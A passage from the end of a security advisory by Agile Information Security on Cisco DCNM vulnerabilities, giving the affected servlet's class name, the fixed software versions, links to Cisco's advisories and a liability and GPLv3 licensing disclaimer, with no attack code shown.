Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet.
>> Fix:
For #1, upgrade to DCNM 11.0(1) and above [3].
For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5].
For #4, it is not clear from Cisco's advisory on which version it was fixed [6].
>> References:
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl
>> Disclaimer:
Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly.
Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory.
It is the vendor's responsibility to ensure their products' security before, during and after release to market.
All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3).
For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails.
For more information check https://www.gnu.org/licenses/gpl-3.0.en.html
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business